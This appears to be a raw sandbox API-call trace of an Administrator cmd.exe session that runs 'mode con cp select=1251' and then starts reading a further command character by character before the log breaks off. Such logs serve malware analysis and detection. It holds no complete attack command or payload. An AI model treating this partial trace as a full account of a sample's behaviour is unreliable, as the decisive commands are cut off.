[0031.628] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0031.628] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0031.628] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0031.628] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0031.628] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0031.628] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0031.628] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0031.628] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0031.628] _wcsicmp (_String1="mode", _String2="START") returned -6 [0031.628] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0031.628] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0031.628] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0031.628] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0031.628] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0031.628] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0031.628] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0031.628] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0031.628] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0031.628] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0031.628] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0031.628] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0031.628] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0031.628] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0031.628] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0031.628] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0031.629] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0031.629] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0031.629] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0031.629] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0031.629] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0031.629] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0031.629] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0031.629] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0031.629] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0031.629] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0031.629] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0031.629] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0031.629] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0031.629] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0031.629] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0031.629] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0031.629] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0031.629] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0031.629] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0031.629] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0031.629] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0031.629] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0031.629] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0031.629] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0031.629] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0031.629] _wcsicmp (_String1="mode", _String2="START") returned -6 [0031.629] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0031.629] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0031.629] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0031.629] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0031.629] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0031.629] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0031.629] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0031.629] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0031.629] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0031.629] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0031.629] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0031.629] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0031.629] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0031.630] GetProcessHeap () returned 0x240000 [0031.630] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x241ab0 [0031.630] GetProcessHeap () returned 0x240000 [0031.630] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x42) returned 0x2598a0 [0031.630] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0031.630] GetProcessHeap () returned 0x240000 [0031.630] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x259a80 [0031.630] SetErrorMode (uMode=0x0) returned 0x0 [0031.630] SetErrorMode (uMode=0x1) returned 0x0 [0031.630] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x259a90, lpFilePart=0x18eea0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18eea0*="Desktop") returned 0x25 [0031.630] SetErrorMode (uMode=0x0) returned 0x1 [0031.630] GetProcessHeap () returned 0x240000 [0031.630] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259a80, Size=0x66) returned 0x259a80 [0031.630] GetProcessHeap () returned 0x240000 [0031.630] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259a80) returned 0x66 [0031.630] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0031.630] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0031.630] GetProcessHeap () returned 0x240000 [0031.630] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x241cd0 [0031.631] GetProcessHeap () returned 0x240000 [0031.631] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x259b00 [0031.635] GetProcessHeap () returned 0x240000 [0031.635] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b00, Size=0x12a) returned 0x259b00 [0031.635] GetProcessHeap () returned 0x240000 [0031.635] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b00) returned 0x12a [0031.635] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0031.635] GetProcessHeap () returned 0x240000 [0031.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x255b70 [0031.635] GetProcessHeap () returned 0x240000 [0031.636] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x255b70, Size=0x7e) returned 0x255b70 [0031.636] GetProcessHeap () returned 0x240000 [0031.636] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b70) returned 0x7e [0031.637] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0031.637] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0xffffffffffffffff [0031.637] GetLastError () returned 0x2 [0031.637] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0xffffffffffffffff [0031.637] GetLastError () returned 0x2 [0031.637] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0031.637] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0x255c00 [0031.638] GetProcessHeap () returned 0x240000 [0031.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x28) returned 0x254640 [0031.638] FindClose (in: hFindFile=0x255c00 | out: hFindFile=0x255c00) returned 1 [0031.638] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0x255c00 [0031.638] GetProcessHeap () returned 0x240000 [0031.638] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x254640, Size=0x8) returned 0x2598f0 [0031.638] FindClose (in: hFindFile=0x255c00 | out: hFindFile=0x255c00) returned 1 [0031.638] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0031.638] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0031.638] GetConsoleTitleW (in: lpConsoleTitle=0x18f160, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0031.638] GetProcessHeap () returned 0x240000 [0031.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259c40 [0031.638] GetConsoleTitleW (in: lpConsoleTitle=0x259c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0031.638] GetProcessHeap () returned 0x240000 [0031.638] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259c40, Size=0xa8) returned 0x259c40 [0031.638] GetProcessHeap () returned 0x240000 [0031.638] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259c40) returned 0xa8 [0031.638] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0031.639] GetProcessHeap () returned 0x240000 [0031.639] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259c40 | out: hHeap=0x240000) returned 1 [0031.639] InitializeProcThreadAttributeList (in: lpAttributeList=0x18ef18, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18eed8 | out: lpAttributeList=0x18ef18, lpSize=0x18eed8) returned 1 [0031.639] UpdateProcThreadAttribute (in: lpAttributeList=0x18ef18, dwFlags=0x0, Attribute=0x60001, lpValue=0x18eec8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18ef18, lpPreviousValue=0x0) returned 1 [0031.639] GetStartupInfoW (in: lpStartupInfo=0x18f030 | out: lpStartupInfo=0x18f030*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0031.639] GetProcessHeap () returned 0x240000 [0031.639] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254640 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0031.639] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0031.640] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0031.640] GetProcessHeap () returned 0x240000 [0031.640] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254640 | out: hHeap=0x240000) returned 1 [0031.640] GetProcessHeap () returned 0x240000 [0031.640] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x258900 [0031.640] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18ef50*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ef00 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x18ef00*(hProcess=0x54, hThread=0x50, dwProcessId=0x9e8, dwThreadId=0x9ec)) returned 1 [0032.235] CloseHandle (hObject=0x50) returned 1 [0032.235] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0032.235] GetProcessHeap () returned 0x240000 [0032.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c230 | out: hHeap=0x240000) returned 1 [0032.235] GetEnvironmentStringsW () returned 0x25aa10* [0032.235] GetProcessHeap () returned 0x240000 [0032.235] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xae8) returned 0x25b500 [0032.235] FreeEnvironmentStringsW (penv=0x25aa10) returned 1 [0032.235] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0032.236] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0032.236] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x18e808, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18e808, ReturnLength=0x0) returned 0x0 [0032.236] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x18e840, nSize=0x380, lpNumberOfBytesRead=0x18e800 | out: lpBuffer=0x18e840*, lpNumberOfBytesRead=0x18e800*=0x380) returned 1 [0032.236] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0034.804] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x18ee48 | out: lpExitCode=0x18ee48*=0x0) returned 1 [0034.804] CloseHandle (hObject=0x54) returned 1 [0034.804] _vsnwprintf (in: _Buffer=0x18f0b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x18ee58 | out: _Buffer="00000000") returned 8 [0034.804] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0034.804] GetProcessHeap () returned 0x240000 [0034.804] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b500 | out: hHeap=0x240000) returned 1 [0034.804] GetEnvironmentStringsW () returned 0x25aa10* [0034.804] GetProcessHeap () returned 0x240000 [0034.804] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25eb10 [0034.804] FreeEnvironmentStringsW (penv=0x25aa10) returned 1 [0034.804] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0034.804] GetProcessHeap () returned 0x240000 [0034.804] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25eb10 | out: hHeap=0x240000) returned 1 [0034.804] GetEnvironmentStringsW () returned 0x25aa10* [0034.804] GetProcessHeap () returned 0x240000 [0034.804] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25eb10 [0034.804] FreeEnvironmentStringsW (penv=0x25aa10) returned 1 [0034.804] GetProcessHeap () returned 0x240000 [0034.804] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0034.804] DeleteProcThreadAttributeList (in: lpAttributeList=0x18ef18 | out: lpAttributeList=0x18ef18) [0035.180] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0035.181] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.181] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0035.181] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.181] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49d8e194 | out: lpMode=0x49d8e194) returned 0 [0035.181] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.181] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49d8e198 | out: lpMode=0x49d8e198) returned 0 [0035.181] GetConsoleOutputCP () returned 0x4e3 [0035.181] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49d9bfe0 | out: lpCPInfo=0x49d9bfe0) returned 1 [0035.182] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b00 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241cd0 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259a80 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0035.182] GetProcessHeap () returned 0x240000 [0035.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0035.182] _vsnwprintf (in: _Buffer=0x49da6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f378 | out: _Buffer="\r\n") returned 2 [0035.182] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.182] GetFileType (hFile=0xf4) returned 0x3 [0035.182] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.182] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0035.182] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f348, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f348*=0x2, lpOverlapped=0x0) returned 1 [0035.182] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0035.183] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0035.183] _vsnwprintf (in: _Buffer=0x49d8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f388 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0035.183] _vsnwprintf (in: _Buffer=0x49d8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f388 | out: _Buffer=">") returned 1 [0035.183] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.183] GetFileType (hFile=0xf4) returned 0x3 [0035.183] _get_osfhandle (_FileHandle=1) returned 0xf4 [0035.183] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0035.183] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f378, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f378*=0x26, lpOverlapped=0x0) returned 1 [0035.183] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.183] GetFileType (hFile=0xe8) returned 0x3 [0035.183] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.183] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.183] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.183] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0035.183] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.183] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.183] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.183] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0035.183] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.183] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.183] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.183] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0035.183] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.183] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.183] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.183] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0035.183] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49d9c320, cbMultiByte=1, lpWideCharStr=0x49d9e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0035.184] _get_osfhandle (_FileHandle=0) returned 0xe8 [0035.184] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0035.184] ReadFile (in: hFile=0xe8, lpBuffer=0x49d9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f678, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesRead=0x18f678*=0x1, lpOverlapped=0x0) returned 1 [0035.184] MultiByteToWideChar 